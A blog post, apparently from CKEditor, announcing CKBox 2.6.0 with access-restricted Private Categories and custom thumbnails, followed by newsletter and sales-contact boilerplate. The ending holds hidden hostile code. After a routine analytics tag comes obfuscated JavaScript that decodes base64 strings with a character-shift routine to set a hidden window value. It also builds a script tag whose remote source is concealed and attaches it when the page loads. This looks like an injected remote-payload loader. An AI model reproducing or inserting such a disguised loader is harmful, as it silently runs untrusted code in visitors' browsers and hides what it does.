Report: 2024 State of Collaborative Editing

Get insights on the trends and future of collaboration in RTEs Download now

Read now

CKBox version 2.6.0: Introducing Private Categories

CKBox continues to simplify image and file management in CKEditor, now with enhanced access control options. With the addition of Private Categories in version 2.6.0, administrators can selectively manage access to categories.

CKBox version 2.6.0 was released on 7 October.

The release includes the new Private Categories and custom thumbnail features, along with updated dependencies for improved performance and security.

Here is a closer look at the new and exciting Private Categories feature added to CKBox in this release.

NEW Private Categories

The introduction of Private Categories builds on previous access management features, such as Permissions in 2.5 and Workspaces in 1.6, offering a new layer of control over access.

With Private Categories, administrators can now set specific asset categories as private, limiting access to authorized users only. By default, all files uploaded to CKBox are public, meaning that anyone with a link—such as a CDN link—can access and download those files. The Private Categories feature addresses this by allowing administrators to block public access to these links, making assets accessible only to selected, authorized users.

Admin view for creating a rpivate category.

When a category is marked private, users must be authorized to view or download assets within it. This is achieved through a simple authorization (via a browser cookie), ensuring only approved individuals can access these assets, even when embedded in content.

Other Improvements

  • Dependency updates: Selected dependencies have been updated to their latest versions, bringing performance optimizations and general system improvements.
  • Custom thumbnails: For non-image assets, users now have the option to upload custom thumbnails.

Feedback and Support

If you have specific questions or you would like to report an issue, contact us.

How to get CKBox

  • New users can try all advanced CKBox features, including Private Categories, with our 30-day free trial.
  • CKBox is available on Starter, Premium, Pro, and Enterprise plans. You need to sign up for a CKBox subscription plan that includes the feature you want to access.

To use CKBox with CKEditor 5, a CKEditor Commercial License is required. This license subscription removes GPL license restrictions, and allows you to choose and purchase Premium features for CKEditor 5.

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

HiddenGatedContent.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

HiddenGatedContent.
Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });